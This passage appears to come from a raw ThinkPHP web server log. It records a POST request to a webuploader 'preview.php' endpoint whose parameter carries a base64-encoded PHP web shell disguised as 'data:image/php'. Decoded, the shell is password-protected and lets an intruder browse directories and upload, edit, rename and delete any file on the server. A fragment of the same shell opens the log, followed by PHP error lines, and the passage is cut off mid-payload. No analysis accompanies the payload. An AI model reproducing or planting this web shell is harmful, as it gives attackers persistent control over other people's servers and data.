AgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'admin' => 'lib', 'webuploader' => '0.1.15', 'server' => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:31:28+08:00 ] 119.42.146.234 POST 51tianwei.com/public/style/admin/plugins/webuploader/0.1.15/server/preview.php [运行时间:0.002588s] [吞吐率:386.39req/s] [内存消耗:196.82kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'style', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k